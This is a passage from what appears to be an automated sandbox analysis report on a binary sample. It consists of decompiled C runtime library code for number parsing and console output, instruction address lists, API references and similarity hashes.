																			_t1261 = _t1261 + 4;
																		} while (_t958 != 0);
																		continue;
																	}
																}
																goto L335;
															}
														}
													}
													_t960 =  *(_t1252 - 8) + 1;
													 *(_t1252 - 8) = _t960;
													goto L257;
												}
											} else {
												goto L199;
											}
											while(1) {
												L199:
												_t1146 =  *(_t1252 - 0x1e);
												if( *(_t1252 - 0x1e) != 0) {
													break;
												}
												if( *(_t1252 - 0x44) == 0x78 ||  *(_t1252 - 0x44) == 0x70) {
													_t980 = E00432800(_t1011, _t1250, _t1251,  *(_t1252 - 0x21c) & 0x000000ff);
													_t1254 = _t1254 + 4;
													if(_t980 == 0) {
														_t1237 =  *(_t1252 - 0x1e) + 1;
														 *(_t1252 - 0x1e) = _t1237;
													} else {
														_t1242 =  *(_t1252 - 0x1fc);
														 *(_t1252 - 0x200) = E004328F0( *(_t1252 - 0x200), 4, _t1242);
														 *(_t1252 - 0x1fc) = _t1242;
														_t1001 = E00426C90( *(_t1252 - 0x21c) & 0x000000ff,  *(_t1252 - 0x21c) & 0x000000ff);
														_t1254 = _t1254 + 4;
														 *(_t1252 - 0x21c) = _t1001;
													}
												} else {
													_t986 = E00432740(_t1011, _t1250, _t1251,  *(_t1252 - 0x21c) & 0x000000ff);
													_t1254 = _t1254 + 4;
													if(_t986 == 0) {
														_t1244 =  *(_t1252 - 0x1e) + 1;
														 *(_t1252 - 0x1e) = _t1244;
													} else {
														if( *(_t1252 - 0x44) != 0x6f) {
															_t1245 =  *(_t1252 - 0x1fc);
															__eflags = E004328F0( *(_t1252 - 0x200), 2, _t1245) +  *(_t1252 - 0x200);
															asm("adc edx, [ebp-0x1fc]");
															 *(_t1252 - 0x200) = E004328F0(E004328F0( *(_t1252 - 0x200), 2, _t1245) +  *(_t1252 - 0x200), 1, _t1245);
															 *(_t1252 - 0x1fc) = _t1245;
														} else {
															if( *(_t1252 - 0x21c) >= 0x38) {
																_t1137 =  *(_t1252 - 0x1e) + 1;
																 *(_t1252 - 0x1e) = _t1137;
															} else {
																_t1246 =  *(_t1252 - 0x1fc);
																 *(_t1252 - 0x200) = E004328F0( *(_t1252 - 0x200), 3, _t1246);
																 *(_t1252 - 0x1fc) = _t1246;
															}
														}
													}
												}
												if( *(_t1252 - 0x1e) != 0) {
													_t983 =  *(_t1252 - 0xc) - 1;
													 *(_t1252 - 0xc) = _t983;
													E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
													_t1254 = _t1254 + 8;
													goto L222;
												} else {
													 *(_t1252 - 0x1f4) =  *(_t1252 - 0x1f4) + 1;
													asm("cdq");
													asm("adc ecx, edx");
													 *(_t1252 - 0x200) =  *(_t1252 - 0x21c) - 0x30 +  *(_t1252 - 0x200);
													if( *(_t1252 - 0x1f0) == 0) {
														L219:
														_t1131 =  *(_t1252 - 0xc) + 1;
														 *(_t1252 - 0xc) = _t1131;
														_t996 = E00426CD0(_t1131,  *(_t1252 + 8));
														_t1254 = _t1254 + 4;
														 *(_t1252 - 0x21c) = _t996;
														L220:
														L222:
														continue;
													}
													_t1241 =  *(_t1252 - 0x78) - 1;
													 *(_t1252 - 0x78) = _t1241;
													if(_t1241 != 0) {
														goto L219;
													}
													 *(_t1252 - 0x1e) =  *(_t1252 - 0x1e) + 1;
													goto L220;
												}
											}
											if( *((char*)(_t1252 - 2)) != 0) {
												asm("adc edx, 0x0");
												_t1146 =  ~( *(_t1252 - 0x1fc));
												 *(_t1252 - 0x200) =  ~( *(_t1252 - 0x200));
												 *(_t1252 - 0x1fc) =  ~( *(_t1252 - 0x1fc));
											}
											goto L252;
											L193:
										} while ( *(__ebp - 0x21c) != 0x2b);
										L194:
										__ecx =  *(__ebp - 0x78);
										__ecx =  *(__ebp - 0x78) - 1;
										 *(__ebp - 0x78) = __ecx;
										if(__ecx != 0) {
											L197:
											__eax =  *(__ebp - 0xc);
											__eax =  *(__ebp - 0xc) + 1;
											 *(__ebp - 0xc) = __eax;
											__ecx =  *(__ebp + 8);
											 *(__ebp - 0x21c) = E00426CD0(__ecx, __ecx);
											continue;
										}
										if( *(__ebp - 0x1f0) == 0) {
											goto L197;
										}
										 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
										 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
									}
								}
							}
							_t1140 =  *(_t1252 - 0xc) + 1;
							 *(_t1252 - 0xc) =  *(_t1252 - 0xc) + 1;
							_t1146 =  *(_t1252 + 8);
							_t1002 = E00426CD0( *(_t1252 - 0xc) + 1,  *(_t1252 + 8));
							_t1254 = _t1254 + 4;
							 *(_t1252 - 0x21c) = _t1002;
							if( *(_t1252 - 0x21c) == 0x78) {
								L179:
								_t1146 =  *(_t1252 - 0xc) + 1;
								 *(_t1252 - 0xc) =  *(_t1252 - 0xc) + 1;
								_t1005 = E00426CD0(_t1140,  *(_t1252 + 8));
								_t1254 = _t1254 + 4;
								 *(_t1252 - 0x21c) = _t1005;
								if( *(_t1252 - 0x1f0) != 0) {
									 *(_t1252 - 0x78) =  *(_t1252 - 0x78) - 2;
									if( *(_t1252 - 0x78) < 1) {
										_t1146 =  *(_t1252 - 0x1e) + 1;
										 *(_t1252 - 0x1e) =  *(_t1252 - 0x1e) + 1;
									}
								}
								 *(_t1252 - 0x44) = 0x78;
								goto L189;
							}
							_t1140 =  *(_t1252 - 0x21c);
							if( *(_t1252 - 0x21c) != 0x58) {
								 *(_t1252 - 0x1f4) =  *(_t1252 - 0x1f4) + 1;
								if( *(_t1252 - 0x44) == 0x78) {
									_t1009 =  *(_t1252 - 0xc) - 1;
									 *(_t1252 - 0xc) = _t1009;
									_t1146 =  *(_t1252 - 0x21c);
									E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
									_t1254 = _t1254 + 8;
									 *(_t1252 - 0x21c) = 0x30;
								} else {
									if( *(_t1252 - 0x1f0) != 0) {
										_t1145 =  *(_t1252 - 0x78) - 1;
										 *(_t1252 - 0x78) = _t1145;
										if(_t1145 == 0) {
											_t1146 =  *(_t1252 - 0x1e) + 1;
											 *(_t1252 - 0x1e) = _t1146;
										}
									}
									 *(_t1252 - 0x44) = 0x6f;
								}
								goto L189;
							}
							goto L179;
							L171:
						} while ( *(__ebp - 0x21c) != 0x2b);
						L172:
						__eax =  *(__ebp - 0x78);
						__eax =  *(__ebp - 0x78) - 1;
						 *(__ebp - 0x78) = __eax;
						if(__eax != 0) {
							L175:
							__edx =  *(__ebp - 0xc);
							__edx =  *(__ebp - 0xc) + 1;
							 *(__ebp - 0xc) = __edx;
							__eax =  *(__ebp + 8);
							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
							continue;
						}
						if( *(__ebp - 0x1f0) == 0) {
							goto L175;
						}
						__cl =  *(__ebp - 0x1e);
						__cl =  *(__ebp - 0x1e) + 1;
						 *(__ebp - 0x1e) = __cl;
					}
				}
			}

0x00425e1d
0x00000000
0x00425e62
0x00000000
0x00425e62
0x00425e62
0x00425e69
0x00425f48
0x00000000
0x00425fa6
0x00000000
0x00425fa6
0x00425fa6
0x00425faa
0x00426170
0x00426176
0x00000000
0x00000000
0x00426180
0x00426188
0x00426188
0x00426190
0x00426195
0x0042619a
0x004261c6
0x004261c9
0x0042619c
0x004261a5
0x004261b3
0x004261b8
0x004261bb
0x004261bb
0x0042622f
0x00426235
0x0042629a
0x0042629d
0x004262a4
0x004262ab
0x004262b0
0x004262b3
0x00000000
0x004262b3
0x00426240
0x00426256
0x00426263
0x0042627a
0x0042627d
0x00426280
0x00426283
0x00426287
0x0042628c
0x0042628f
0x00426295
0x00000000
0x00426295
0x00426268
0x0042626b
0x0042626e
0x00000000
0x00000000
0x00426275
0x00000000
0x00426275
0x00426186
0x004261d6
0x004261db
0x004261e0
0x00426229
0x0042622c
0x004261e2
0x004261e6
0x0042621c
0x0042621e
0x004261e8
0x004261ef
0x00426205
0x00426208
0x004261f1
0x004261fa
0x004261fa
0x0042620b
0x00426224
0x00000000
0x004261e0
0x00000000
0x00426186
0x004262be
0x004262c8
0x004262c8
0x004262ce
0x004262d2
0x004262d4
0x004262d4
0x004262e5
0x00000000
0x004262e7
0x004262ed
0x00426336
0x00426831
0x0042683a
0x00426869
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x0042697a
0x0042697a
0x00426983
0x00426991
0x00426998
0x0042699c
0x004269a7
0x004269ac
0x004269ac
0x004269b6
0x00426a09
0x00426aad
0x00426aad
0x00426ab0
0x00426abc
0x00426ac1
0x00000000
0x00426ac1
0x00426a11
0x00426a1f
0x00426a13
0x00426a13
0x00426a13
0x00426a29
0x00426a2f
0x00426a3c
0x00426a3e
0x00426a43
0x00426a45
0x00426a4a
0x00426a4f
0x00426a51
0x00426a56
0x00426a5c
0x00426a5e
0x00426a5e
0x00426a5c
0x00426a66
0x00000000
0x00426a68
0x00426a6d
0x00426a89
0x00426a94
0x00426aa0
0x00426aa5
0x00000000
0x00426aa5
0x004269b8
0x004269bc
0x004269d5
0x004269d5
0x004269d8
0x004269de
0x004269e4
0x004269f0
0x004269f5
0x00426ac7
0x00426ad4
0x00426ad4
0x004269c7
0x00000000
0x00000000
0x004269c9
0x00000000
0x004269c9
0x004269b6
0x00426985
0x00426988
0x0042698f
0x00000000
0x00000000
0x00000000
0x00426993
0x0042536e
0x0042536e
0x00425376
0x00000000
0x00000000
0x00425383
0x00425388
0x0042538d
0x004253e2
0x00426871
0x0042687a
0x0042687c
0x00426886
0x0042688b
0x0042688e
0x0042688e
0x00426886
0x00426897
0x0042689e
0x004268a3
0x004268a6
0x004268be
0x004268c3
0x004268e6
0x004268ee
0x004268f3
0x004268f8
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x00000000
0x00426978
0x00426971
0x00426900
0x00426907
0x0042690c
0x0042690f
0x00426927
0x0042692c
0x0042696b
0x0042696e
0x00000000
0x0042696e
0x00426934
0x00426942
0x00426950
0x00426953
0x0042695e
0x00426963
0x004268c5
0x004268cb
0x004268d2
0x004268d9
0x004268de
0x004268de
0x00000000
0x004268c3
0x004253e8
0x004253f2
0x00000000
0x004253f8
0x004253f8
0x00425402
0x00425406
0x00425416
0x00425422
0x00425425
0x0042542f
0x00425432
0x00425439
0x00425440
0x00425446
0x0042544c
0x00425452
0x00425455
0x0042545c
0x00425460
0x00425467
0x0042546d
0x00000000
0x00000000
0x00425479
0x00425482
0x0042548a
0x0042548f
0x00425494
0x004254c0
0x004254cf
0x004254dc
0x00425672
0x00425675
0x00425677
0x00000000
0x00425677
0x004254e8
0x004254ef
0x00000000
0x0042566a
0x0042566d
0x00000000
0x00000000
0x00000000
0x00000000
0x00425518
0x0042551b
0x0042551f
0x00425522
0x00425560
0x00425560
0x00425563
0x00425567
0x0042556a
0x00425588
0x00425588
0x0042558b
0x0042558f
0x00425592
0x004255c4
0x004255c4
0x004255c4
0x004255c6
0x004255c8
0x004255cb
0x004255cb
0x004255ce
0x004255d1
0x004255db
0x004255db
0x00000000
0x004255e5
0x00425594
0x00425597
0x0042559b
0x0042559e
0x00000000
0x00000000
0x004255a0
0x004255a3
0x004255a7
0x004255aa
0x00000000
0x00000000
0x004255ac
0x004255af
0x004255b3
0x004255b6
0x00000000
0x00000000
0x004255b8
0x004255bb
0x004255bf
0x004255c2
0x004255ea
0x004255ea
0x004255ec
0x004255ee
0x004255f1
0x004255f1
0x004255f4
0x004255f7
0x00425601
0x00425601
0x00000000
0x0042560b
0x00000000
0x004255c2
0x0042556c
0x0042556f
0x00425573
0x00425576
0x00000000
0x00425578
0x00425578
0x0042557b
0x0042557e
0x00000000
0x0042557e
0x00425576
0x00425524
0x00425527
0x0042552b
0x0042552e
0x00000000
0x00425530
0x00425530
0x00425533
0x00425536
0x00425539
0x0042553c
0x0042553f
0x00425542
0x0042554c
0x00000000
0x0042554c
0x00000000
0x0042560d
0x00425610
0x00425613
0x00000000
0x00000000
0x004254fb
0x004254fe
0x00425501
0x0042550a
0x0042550d
0x00000000
0x00000000
0x00425618
0x0042561b
0x0042561f
0x00425622
0x0042564e
0x00425651
0x00425651
0x00425653
0x00000000
0x00425624
0x00425624
0x00425627
0x0042562a
0x0042562d
0x00425630
0x00425633
0x00425636
0x00425640
0x00000000
0x00425640
0x00000000
0x00425656
0x00425656
0x0042565c
0x0042565f
0x00000000
0x00000000
0x00000000
0x00000000
0x00425496
0x0042549f
0x004254b5
0x0042567a
0x00000000
0x0042567a
0x00425494
0x00425685
0x004256a1
0x00425687
0x0042568a
0x00425693
0x0042569c
0x0042569c
0x004256a8
0x004256b5
0x004256ec
0x004256ec
0x004256f2
0x004256f5
0x004256fc
0x0042573d
0x00425741
0x00425751
0x00425758
0x00425764
0x0042576a
0x004257e5
0x004257e8
0x004257f7
0x00425804
0x004267dc
0x004267e8
0x0042681a
0x0042681d
0x00426829
0x0042682e
0x0042682e
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004267ed
0x004267f0
0x004267fe
0x00426803
0x00426806
0x00000000
0x00426806
0x00425810
0x00425817
0x00000000
0x0042581e
0x00425825
0x00425830
0x00425839
0x00425839
0x0042583c
0x0042583c
0x00425846
0x00425848
0x0042584d
0x0042584d
0x00425850
0x00425850
0x00000000
0x00000000
0x00425f4e
0x00425f4e
0x00425f55
0x00000000
0x00000000
0x00425f57
0x00425f5a
0x00425f5c
0x00000000
0x00000000
0x0042635a
0x00426361
0x00426368
0x00426383
0x0042638a
0x004263b0
0x004263b0
0x004263b7
0x004263b9
0x004263b9
0x004263c0
0x004263c0
0x004263c8
0x004263d0
0x004263d2
0x00000000
0x00000000
0x004263d8
0x004263de
0x004263e1
0x004263e4
0x004263e6
0x00000000
0x00000000
0x004263ee
0x004263f1
0x004263fd
0x00426400
0x00426406
0x0042640b
0x0042640e
0x00426411
0x00426415
0x0042641c
0x00426423
0x0042642a
0x0042642e
0x00426436
0x00426438
0x0042643f
0x00426442
0x00426445
0x00426448
0x00426454
0x00000000
0x00426454
0x00000000
0x0042643a
0x0042645f
0x00426466
0x0042646e
0x00426470
0x00426472
0x00426475
0x00426479
0x00426480
0x00426482
0x0042659b
0x0042659b
0x004265a2
0x0042675e
0x00426761
0x00426764
0x00426767
0x0042676b
0x00426772
0x0042677a
0x00426781
0x00000000
0x004267d5
0x00426783
0x00426787
0x00426789
0x0042678e
0x00426791
0x0042679a
0x0042679d
0x004267a0
0x004267ab
0x004267ac
0x004267b2
0x004267b3
0x004267b6
0x004267b7
0x004267bb
0x004267bb
0x004267be
0x004267bf
0x004267ce
0x004267d0
0x004267d0
0x0042683a
0x00426869
0x00000000
0x0042686c
0x004265a8
0x004265af
0x004265be
0x004265be
0x004265c4
0x004265c7
0x004265ca
0x004265cc
0x00000000
0x00000000
0x004265d8
0x004265db
0x004265e1
0x004265e4
0x004265e7
0x004265eb
0x004265f2
0x004265f9
0x00426600
0x00426604
0x0042660c
0x0042660e
0x00426615
0x00426618
0x0042661b
0x0042661e
0x0042662a
0x00426630
0x00426637
0x00426680
0x00426687
0x004266bf
0x004266bf
0x004266bf
0x004266c7
0x004266cf
0x004266d1
0x00000000
0x00000000
0x004266d7
0x004266dd
0x004266e0
0x004266e3
0x004266e5
0x00000000
0x00000000
0x004266ed
0x004266f0
0x004266fc
0x004266ff
0x00426705
0x0042670a
0x0042670d
0x00426710
0x00426714
0x0042671b
0x00426722
0x00426729
0x0042672d
0x00426735
0x00426737
0x00426741
0x00426744
0x00426747
0x00426753
0x00000000
0x00426753
0x00000000
0x00426739
0x00000000
0x004266bf
0x00426689
0x00426689
0x0042668f
0x00426692
0x00426695
0x00426697
0x004266a4
0x004266a7
0x004266a7
0x004266aa
0x004266ad
0x004266b9
0x00426699
0x0042669c
0x0042669f
0x0042669f
0x00000000
0x00426697
0x0042663f
0x00426642
0x00426648
0x0042664b
0x0042664e
0x00426652
0x00426659
0x00426660
0x00426667
0x0042666b
0x00426673
0x00426675
0x00000000
0x0042667c
0x00000000
0x00426677
0x00000000
0x00426610
0x004265b1
0x004265b8
0x00000000
0x00000000
0x00000000
0x004265b8
0x00426488
0x0042648e
0x00426491
0x00426494
0x00426496
0x00000000
0x00000000
0x0042649c
0x0042649f
0x004264a2
0x004264a5
0x004264b1
0x004264bd
0x004264c0
0x004264c3
0x004264c8
0x004264cb
0x004264ce
0x004264d2
0x004264d9
0x004264e0
0x004264e7
0x004264eb
0x004264f3
0x004264f5
0x004264fc
0x004264fc
0x00426504
0x0042650c
0x0042650e
0x00000000
0x00000000
0x00426514
0x0042651a
0x0042651d
0x00426520
0x00426522
0x00000000
0x00000000
0x0042652a
0x0042652d
0x00426539
0x0042653c
0x00426542
0x00426547
0x0042654a
0x0042654d
0x00426551
0x00426558
0x0042655f
0x00426566
0x0042656a
0x00426572
0x00426574
0x0042657e
0x00426581
0x00426584
0x00426590
0x00000000
0x00426590
0x00000000
0x00426576
0x00000000
0x004264fc
0x00000000
0x004264f7
0x0042638c
0x0042638c
0x0042638f
0x00426392
0x00426395
0x00426398
0x00426398
0x0042639b
0x0042639e
0x004263aa
0x00000000
0x004263aa
0x00426370
0x00426373
0x00426379
0x0042637c
0x00000000
0x00000000
0x00425e02
0x00000000
0x00000000
0x00426342
0x00426345
0x0042634b
0x0042634f
0x00426351
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004262f8
0x004262f8
0x004262fc
0x00426318
0x0042631a
0x00426333
0x0042631c
0x00426325
0x00426325
0x004262fe
0x004262fe
0x00426307
0x0042630f
0x0042630f
0x00000000
0x00000000
0x00425f4a
0x00000000
0x00000000
0x00425858
0x0042585f
0x00425861
0x00425863
0x00425866
0x00425866
0x00425868
0x00425868
0x00000000
0x00000000
0x00425e09
0x00425e09
0x00425e10
0x00000000
0x00000000
0x00425e15
0x00425e18
0x00000000
0x00000000
0x00425870
0x00425877
0x00425879
0x0042587b
0x0042587e
0x0042587e
0x00425881
0x00425881
0x00425887
0x0042588a
0x0042588d
0x00425890
0x00425893
0x00425896
0x00425899
0x0042589c
0x004258a1
0x004258a4
0x004258a7
0x004258aa
0x004258aa
0x004258ad
0x004258ad
0x004258b8
0x004258c0
0x004258c4
0x004258c6
0x004258c9
0x004258cc
0x004258cf
0x004258d1
0x004258d5
0x004258d8
0x004258d8
0x004258db
0x004258de
0x004258e1
0x004258e1
0x004258cf
0x004258e5
0x004258e5
0x004258e8
0x004258eb
0x004258ee
0x00000000
0x00000000
0x004258f4
0x004258f7
0x004258f9
0x004258ff
0x00425902
0x00425905
0x00425909
0x0042590c
0x00425921
0x00425921
0x00425924
0x0042592b
0x00425932
0x0042593a
0x0042593c
0x00425943
0x00425949
0x0042594c
0x0042594f
0x004259d2
0x00000000
0x004259d2
0x0042590e
0x00425912
0x00425914
0x00000000
0x00000000
0x00425916
0x00425919
0x0042591c
0x0042591f
0x00425954
0x00425957
0x00425959
0x0042595f
0x00425962
0x00425965
0x00425969
0x0042596d
0x0042596f
0x00425979
0x0042597c
0x0042597f
0x00425982
0x00425971
0x00425971
0x00425974
0x00425974
0x00425985
0x00425988
0x00425995
0x00425995
0x00425999
0x0042599d
0x0042599f
0x00000000
0x00000000
0x004259a5
0x004259ac
0x004259b4
0x004259b6
0x004259bd
0x004259c3
0x004259c6
0x004259c9
0x0042598d
0x00425990
0x00425990
0x00425992
0x00425992
0x004259ce
0x00000000
0x004259ce
0x00000000
0x0042591f
0x004259d7
0x004259da
0x004259dd
0x004259df
0x004259e6
0x004259ea
0x004259ec
0x004259ef
0x004259ef
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00425a2c
0x00425a35
0x00425a38
0x00425a3a
0x00425bd3
0x00425bd3
0x00425bd7
0x00425cb7
0x00425cba
0x00425cbd
0x00000000
0x00425df8
0x00425cc7
0x00425cc9
0x00425cd5
0x00425cd8
0x00425cdc
0x00425ce6
0x00425ce8
0x00425d7c
0x00425d7f
0x00425d83
0x00425d85
0x00425d8c
0x00425d97
0x00425d9a
0x00425daa
0x00425db0
0x00425dcc
0x00425dcc
0x00425dce
0x00425db2
0x00425db8
0x00425db8
0x00425de3
0x00425dee
0x00425df3
0x00425df3
0x00425d9a
0x00425d8c
0x00425cee
0x00425cf3
0x00425cf6
0x00425cfa
0x00425cfc
0x00425d03
0x00425d10
0x00425d13
0x00425d25
0x00425d2b
0x00425d49
0x00425d49
0x00425d4b
0x00425d2d
0x00425d33
0x00425d33
0x00425d62
0x00425d6f
0x00425d74
0x00425d74
0x00425d13
0x00425d03
0x00425d77
0x00425ce8
0x00425cdc
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00425be2
0x00425bec
0x00425bee
0x00425c54
0x00425c57
0x00425c5a
0x00425c5e
0x00425c60
0x00425c67
0x00425c69
0x00425c6d
0x00425c75
0x00425c7b
0x00425c8e
0x00425c8e
0x00425c91
0x00425c7d
0x00425c83
0x00425c83
0x00425ca6
0x00425caa
0x00425caf
0x00425caf
0x00425c6d
0x00425c67
0x00425bf0
0x00425bf2
0x00425bf5
0x00425bf8
0x00425bfc
0x00425bfe
0x00425c05
0x00425c07
0x00425c0b
0x00425c13
0x00425c19
0x00425c2c
0x00425c2c
0x00425c2f
0x00425c1b
0x00425c1b
0x00425c21
0x00425c21
0x00425c46
0x00425c4a
0x00425c4f
0x00425c4f
0x00425c0b
0x00425c05
0x00425c52
0x00000000
0x00425cb2
0x00425a40
0x00425a46
0x00425a4d
0x00425a52
0x00425a55
0x00425a5b
0x00425a62
0x00425bb0
0x00425bb6
0x00425bb9
0x00425bc4
0x00425bc9
0x00000000
0x00425bc9
0x00425a68
0x00425a6c
0x00425ac7
0x00425ac7
0x00425acb
0x00425acd
0x00425ba8
0x00425ba8
0x00425bab
0x00425bae
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00000000
0x00425a2a
0x00425ad3
0x00425ad7
0x00425ae9
0x00425aeb
0x00425b8f
0x00425b97
0x00425b9d
0x00425b9d
0x00425ba0
0x00425af1
0x00425af7
0x00425afd
0x00425b05
0x00425b0a
0x00425b0d
0x00425b0f
0x00425b14
0x00425b14
0x00425b17
0x00425b1e
0x00425b23
0x00425b26
0x00425b26
0x00425b31
0x00425b3b
0x00425b60
0x00425b65
0x00425b6b
0x00425b6f
0x00425b78
0x00425b81
0x00425b81
0x00000000
0x00425ba3
0x00425ad9
0x00000000
0x00425ad9
0x00425a6e
0x00425a72
0x00425a8f
0x00425a8f
0x00425a93
0x00000000
0x00000000
0x00425a9f
0x00425aa2
0x00425abf
0x00425ac1
0x00000000
0x00000000
0x00000000
0x00425ac1
0x00425a74
0x00425a7b
0x00425a86
0x00425a86
0x00425a8d
0x00000000
0x00000000
0x00000000
0x00425a8d
0x00425a7d
0x00425a84
0x00000000
0x00000000
0x00000000
0x00425a84
0x00425a23
0x00000000
0x00000000
0x00000000
0x00000000
0x00425817
0x00425770
0x0042577e
0x00425781
0x0042578a
0x00425793
0x00425799
0x004257a2
0x004257ab
0x004257ae
0x004257b1
0x004257b8
0x00000000
0x004257ba
0x004257ba
0x004257c3
0x004257cf
0x004257d2
0x004257c5
0x004257c7
0x004257ca
0x004257ca
0x004257da
0x00000000
0x004257da
0x004257b8
0x00425776
0x00000000
0x00000000
0x0042577c
0x00000000
0x00000000
0x00000000
0x0042577c
0x0042575e
0x00426848
0x0042684f
0x00426856
0x0042685b
0x00000000
0x0042685b
0x00000000
0x0042575e
0x0042574a
0x00000000
0x0042574c
0x00000000
0x0042574c
0x0042574a
0x00425702
0x00425722
0x00425725
0x00425728
0x0042572f
0x00425734
0x00425737
0x00000000
0x00425737
0x00425708
0x00000000
0x0042570a
0x00425712
0x00425717
0x0042571a
0x00000000
0x0042571a
0x004256b7
0x004256c0
0x004256cd
0x004256d6
0x00000000
0x004256d6
0x004256cb
0x004256e4
0x004256e6
0x00000000
0x004256e6
0x00000000
0x004256cb
0x004256b5
0x0042538f
0x00425392
0x00425395
0x004253ad
0x004253b2
0x004253b5
0x004253bb
0x004253c3
0x004253cb
0x004253d0
0x004253d3
0x00000000
0x004253b5
0x0042538d
0x00000000
0x0042536e
0x00426971
0x00426831
0x004262f2
0x004262f5
0x00000000
0x004262f5
0x00000000
0x00000000
0x00000000
0x00425fb0
0x00425fb0
0x00425fb0
0x00425fb6
0x00000000
0x00000000
0x00425fc0
0x00425fd0
0x00425fd5
0x00425fda
0x00426016
0x00426019
0x00425fdc
0x00425fe2
0x00425fef
0x00425ff5
0x00426003
0x00426008
0x0042600b
0x0042600b
0x00426021
0x00426029
0x0042602e
0x00426033
0x004260a7
0x004260aa
0x00426035
0x00426039
0x00426076
0x00426083
0x00426089
0x00426096
0x0042609c
0x0042603b
0x00426042
0x00426068
0x0042606b
0x00426044
0x0042604a
0x00426057
0x0042605d
0x0042605d
0x0042606e
0x004260a2
0x00426033
0x004260b3
0x00426126
0x00426129
0x00426137
0x0042613c
0x00000000
0x004260b5
0x004260be
0x004260cd
0x004260da
0x004260dc
0x004260ef
0x00426106
0x00426109
0x0042610c
0x00426113
0x00426118
0x0042611b
0x00426121
0x0042613f
0x00000000
0x0042613f
0x004260f4
0x004260f7
0x004260fa
0x00000000
0x00000000
0x00426101
0x00000000
0x00426101
0x004260b3
0x0042614a
0x0042615a
0x0042615d
0x0042615f
0x00426165
0x00426165
0x00000000
0x00425f63
0x00425f63
0x00425f6c
0x00425f6c
0x00425f6f
0x00425f72
0x00425f75
0x00425f8b
0x00425f8b
0x00425f8e
0x00425f91
0x00425f94
0x00425fa0
0x00000000
0x00425fa0
0x00425f7e
0x00000000
0x00000000
0x00425f83
0x00425f86
0x00425f86
0x00425fa6
0x00425fa6
0x00425e72
0x00425e75
0x00425e78
0x00425e7c
0x00425e81
0x00425e84
0x00425e94
0x00425ea2
0x00425ea5
0x00425ea8
0x00425eaf
0x00425eb4
0x00425eb7
0x00425ec4
0x00425ecc
0x00425ed3
0x00425ed8
0x00425edb
0x00425edb
0x00425ed3
0x00425ede
0x00000000
0x00425ede
0x00425e96
0x00425ea0
0x00425ef0
0x00425efa
0x00425f25
0x00425f28
0x00425f2f
0x00425f36
0x00425f3b
0x00425f3e
0x00425efc
0x00425f03
0x00425f08
0x00425f0b
0x00425f0e
0x00425f13
0x00425f16
0x00425f16
0x00425f0e
0x00425f19
0x00425f19
0x00000000
0x00425efa
0x00000000
0x00425e1f
0x00425e1f
0x00425e28
0x00425e28
0x00425e2b
0x00425e2e
0x00425e31
0x00425e47
0x00425e47
0x00425e4a
0x00425e4d
0x00425e50
0x00425e5c
0x00000000
0x00425e5c
0x00425e3a
0x00000000
0x00000000
0x00425e3c
0x00425e3f
0x00425e42
0x00425e42
0x00425e62

APIs

__inc.LIBCMTD ref: 00425E7C
__inc.LIBCMTD ref: 00425EAF
_isxdigit.LIBCMTD ref: 00425FD0
__hextodec.LIBCMTD ref: 00426003
_isdigit.LIBCMTD ref: 00426029
__inc.LIBCMTD ref: 00426113
__un_inc.LIBCMTD ref: 00426137

Strings

0, xrefs: 00425E62
p, xrefs: 00425FC2

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 6b479ccaca529ef4add14e0018ead5c66048aec9f34067b328a250f89c867f2f
Instruction ID: ef284a9262171fb49211812c2959d69fb3a22724af9ad3e3dfbb710100fb9ce1
Opcode Fuzzy Hash: 6b479ccaca529ef4add14e0018ead5c66048aec9f34067b328a250f89c867f2f
Instruction Fuzzy Hash: E3417E74E4427D8BDF24DF65E9447FEBBB0AF10308F6580EED40966242D2389A81DF49

Uniqueness

Uniqueness Score: -1.00%

Function 00434BF0, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00434BF0(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x43d480; // 0xa91b5158
				_v16 = _t12 ^ _t35;
				if( *0x43dfb0 == 0) {
					L12:
					if( *0x43dfb0 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x43e1b4 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x43e1b4; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x43e1b4 == 0xfffffffe) {
						E00439DE0();
					}
					if( *0x43e1b4 != 0xffffffff) {
						_t31 =  *0x43e1b4; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x43dfb0 = 1;
							goto L12;
						} else {
							if( *0x43dfb0 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
